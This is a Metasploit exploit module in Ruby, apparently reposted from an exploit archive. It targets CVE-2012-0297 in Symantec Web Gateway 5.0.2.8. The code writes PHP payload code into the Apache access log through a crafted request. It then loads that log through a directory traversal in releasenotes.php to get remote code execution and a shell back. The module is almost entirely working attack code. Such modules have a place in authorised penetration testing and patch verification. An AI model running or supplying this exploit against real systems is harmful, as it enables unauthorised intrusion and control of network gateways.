Symantec Web Gateway 5.0.2.8 Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Symantec Web Gateway's HTTP
                service.  By injecting PHP code in the access log, it is possible to load it
                with a directory traversal flaw, which allows remote code execution under the
                context of 'apache'. Please note that it may take up to several minutes to
                retrieve access_log, which is about the amount of time required to see a shell
                back.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Unknown', #Discovery
                    'muts',    #PoC
                    'sinn3r'   #Metasploit
                ],
            'References'     =>
                [
                    ['CVE', '2012-0297'],
                    ['EDB', '18932'],
                    ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'WfsDelay' => 300,  #5 minutes
                    'DisablePayloadHandler' => 'false',
                    'ExitFunction' => "none"
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['Symantec Web Gateway 5.0.2.8', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 17 2012",
            'DefaultTarget'  => 0))
    end
 
 
    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => '/spywall/login.php'
        })
 
        if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
 
    def exploit
        peer = "#{rhost}:#{rport}"
 
        php = %Q|<?php #{payload.encoded} ?>|
 
        # Inject PHP to log
        print_status("#{peer} - Injecting PHP to log...")
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "/#{php}"
        })
 
        select(nil, nil, nil, 1)
 
        # Use the directory traversal to load the PHP code
        # access_log takes a long time to retrieve
        print_status("#{peer} - Loading PHP code..")
        send_request_raw({
            'method' => 'GET',
            'uri'    => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
        })
 
        print_status("#{peer} - Waiting for a session, may take some time...")
 
        select(nil, nil, nil, 1)
 
        handler
    end
end



#  0day.today [2018-04-10]  #